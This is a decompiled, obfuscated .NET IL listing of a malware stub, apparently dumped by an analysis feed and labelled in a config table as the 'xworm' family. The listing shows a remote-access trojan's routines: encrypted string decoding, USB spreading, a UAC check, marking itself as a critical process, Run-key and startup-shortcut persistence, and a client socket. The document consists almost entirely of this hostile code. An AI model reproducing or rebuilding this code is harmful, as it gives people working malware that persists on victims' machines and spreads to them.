<null> br.s IL_02E4: stloc.s V_29 ldloc.s V_5 ldc.i4 413 ldc.i4 388 call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16) ldc.i4 266 ldc.i4 293 call System.IO.DirectoryInfo Stub.USB::ႨႷ<System.String>(System.String,System.Int16,System.Int32) pop <null> ldc.i4.3 <null> stloc.s V_29 br IL_0262: ldloc.s V_29 ldloc.0 <null> castclass System.String ldc.i4 180 ldc.i4 189 call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32) brfalse.s IL_0337: ldc.i4.7 ldc.i4.s 9 stloc.s V_29 br IL_0262: ldloc.s V_29 ldc.i4.7 <null> br.s IL_0330: stloc.s V_29 ldloc.0 <null> castclass System.String newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 castclass System.IO.FileInfo ldc.i4 131 ldc.i4 166 call System.Void My.MyComputer::ႷႣ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Char) ldc.i4 1000 ldc.i4.s 84 ldc.i4.s 80 call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16) ldloc.0 <null> castclass System.String ldsfld System.String Ⴓ.Ⴈ::Ⴃ ldc.i4 397 ldc.i4 452 call System.Byte[] Stub.Main::ႰႷ<System.String>(System.String,System.Int16,System.Char) ldc.i4 401 ldc.i4 407 call System.Void Stub.ProcessCritical::ႣႨ<System.String>(System.String,System.Byte[],System.Int16,System.Int16) leave.s IL_03B3: ldc.i4.0 dup <null> ldc.i4.s 83 ldc.i4.s 16 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_7 ldc.i4 981 ldc.i4 948 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_03B3: ldc.i4.0 ldc.i4.0 <null> stloc.s V_31 ldloc.s V_31 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 23 ldc.i8 4 ldc.i4 1711529791 ldc.i4.0 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 castclass System.Diagnostics.ProcessStartInfo ldc.i4.1 <null> ldc.i4 642 ldc.i4 727 call System.Void My.MyComputer::ႤႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int16) ldc.i4.3 <null> stloc.s V_31 br.s IL_03B6: ldloc.s V_31 call System.String Stub.ClientSocket::UAC() ldc.i4 626 ldc.i4 639 call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32) brfalse.s IL_0438: ldc.i4.7 ldc.i4.8 <null> stloc.s V_31 br IL_03B6: ldloc.s V_31 ldc.i4.7 <null> br.s IL_0431: stloc.s V_31 ldloc.s V_9 isinst System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 castclass System.String[] ldc.i4.0 <null> ldc.i4.s 13 ldc.i8 15 ldc.i4 1711529778 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4.s 24 ldc.i4.s 53 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.2 <null> ldc.i4.s 18 ldc.i8 1 ldc.i4 1711529796 ldc.i4.4 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.4 <null> ldc.i4.s 12 ldc.i8 13 ldc.i4 1711526805 ldc.i4.5 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4 252 ldc.i4 239 call System.String My.MyApplication::ႥႨ(System.String[],System.Int32,System.Char) ldc.i4 156 ldc.i4 186 call System.Void My.MyComputer::ႤႠ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int32) ldc.i4.2 <null> stloc.s V_31 br IL_03B6: ldloc.s V_31 ldloc.s V_9 castclass System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_14 ldloc.s V_14 castclass System.String[] ldc.i4.0 <null> ldc.i4.s 24 ldc.i8 2 ldc.i4 1711529840 ldc.i4.6 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 254 ldc.i4 211 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.2 <null> ldc.i4.s 14 ldc.i8 13 ldc.i4 1711529799 ldc.i4.7 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4.4 <null> ldc.i4.s 13 ldc.i8 14 ldc.i4 1711526806 ldc.i4.6 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_14 castclass System.String[] ldc.i4 981 ldc.i4 966 call System.String My.MyApplication::ႥႨ(System.String[],System.Int32,System.Char) ldc.i4 570 ldc.i4 540 call System.Void My.MyComputer::ႤႠ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int32) ldloc.s V_9 isinst System.Diagnostics.ProcessStartInfo ldc.i4 154 ldc.i4 136 call System.Diagnostics.Process Stub.Messages/ႭႰ::ႥႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Int32,System.Int16) stloc.s V_8 ldloc.s V_8 isinst System.Diagnostics.Process ldc.i4 1009 ldc.i4 965 call System.Void My.MyComputer::ႷႥ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Char,System.Int16) leave.s IL_060A: ldc.i4.1 dup <null> ldc.i4 230 ldc.i4 165 call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_10 ldc.i4 970 ldc.i4 939 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_060A: ldc.i4.1 ldc.i4.1 <null> stloc.s V_33 ldloc.s V_33 switch dnlib.DotNet.Emit.Instruction[] call My.MyComputer My.MyProject::Ⴀ() ldc.i4 886 ldc.i4 895 call Microsoft.VisualBasic.MyServices.RegistryProxy My.MyComputer::ႤႥ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Char,System.Char) ldc.i4 684 ldc.i4 763 call Microsoft.Win32.RegistryKey Stub.Messages/ႭႰ::ႥႥ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int32,System.Int32) ldc.i4.2 <null> ldc.i8 15 ldc.i4 1711526488 ldc.i4.7 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> ldc.i4 544 ldc.i4 565 call Microsoft.Win32.RegistryKey My.MyComputer::ႤႰ<System.String,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Char) ldsfld System.String Settings::InstallStr ldc.i4 612 ldc.i4 585 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) ldloc.0 <null> isinst System.String ldc.i4 145 ldc.i4 146 call System.Void My.MyApplication::Ⴄ<System.String,Microsoft.Win32.RegistryKey,System.Object>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int32,System.Char) leave.s IL_06B1: ldc.i4.6 dup <null> ldc.i4.s 68 ldc.i4.7 <null> call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char) stloc.s V_11 ldc.i4.s 38 ldc.i4.s 71 call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char) leave.s IL_06B1: ldc.i4.6 ldc.i4.6 <null> stloc.s V_35 ldloc.s V_35 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4 984 ldc.i4 996 call System.String My.MyComputer::ႤႼ(System.Environment/SpecialFolder,System.Int16,System.Char) ldc.i4.6 <null> ldc.i8 12 ldc.i4 1711526533 ldc.i4.0 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldsfld System.String Settings::InstallStr ldc.i4.s 81 ldc.i4.s 124 call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32) ldc.i4.s 17 ldc.i8 6 ldc.i4 1711527338 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4 772 ldc.i4 852 call System.String My.MyApplication::ႥႰ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int16,System.Char) stloc.s V_12 ldloc.s V_36 ldc.i4.6 <null> ldelem.u2 <null> ldc.i4 61173 sub <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldc.i4.s 24 ldc.i8 8 ldc.i4 1711529105 ldc.i4.3 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.s 9 ldc.i8 14 ldc.i4 1711527904 ldc.i4.4 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldc.i4.7 <null> ldc.i8 2 ldc.i4 1711527331 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_15 ldloc.s V_15 isinst System.Object[] ldc.i4.0 <null> ldloc.s V_12 castclass System.String stelem.ref <null> ldloc.s V_15 castclass System.Object[] stloc.s V_16 ldloc.s V_16 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_17 ldloc.s V_17 isinst System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_17 isinst System.Boolean[] call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_17 castclass System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0808: stloc.s V_18 ldloc.s V_16 isinst System.Object[] ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_12 stloc.s V_18 ldloc.s V_18 ldnull <null> ldc.i4.s 16 ldc.i8 8 ldc.i4 1711527363 ldc.i4.1 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 castclass System.Object[] ldc.i4.0 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_19 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.2 <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldloc.s V_18 ldnull <null> ldc.i4.s 9 ldc.i8 8 ldc.i4 1711527402 ldc.i4.1 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.1 <null> newarr System.Object stloc.s V_19 ldloc.s V_19 isinst System.Object[] ldc.i4.0 <null> ldc.i4.4 <null> ldc.i8 3 ldc.i4 1711527910 ldc.i4.2 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) stelem.ref <null> ldloc.s V_19 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.8 <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldloc.s V_18 ldnull <null> ldc.i4.s 11 ldc.i8 2 ldc.i4 1711526606 ldc.i4.1 <null> call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.3 <null> stloc.s V_35 br IL_06B4: ldloc.s V_35 ldnull <null> stloc.s V_18 ldloc.s V_12 isinst System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴓ.Ⴈ::Ⴃ leave.s IL_0900: ldc.i4.6 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0900: ldc.i4.6 ldc.i4.6 <null> stloc.s V_38 ldloc.s V_38 switch dnlib.DotNet.Emit.Instruction[] call System.Void Stub.USB::USBStart() call System.Void Ⴓ.Ⴈ::Ⴐ() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_095B: ldc.i4.5 ldc.i4.7 <null> stloc.s V_38 br.s IL_0903: ldloc.s V_38 ldc.i4.5 <null> br.s IL_0957: stloc.s V_38 call System.Void Stub.ProcessCritical::CriticalProcess_Enable() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldc.i4.4 <null> stloc.s V_38 br IL_0903: ldloc.s V_38 ldloc.1 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.Main::Main() pop <null> ret <null> |
|
Config. Field0 | Value |
|---|---|
| family | xworm |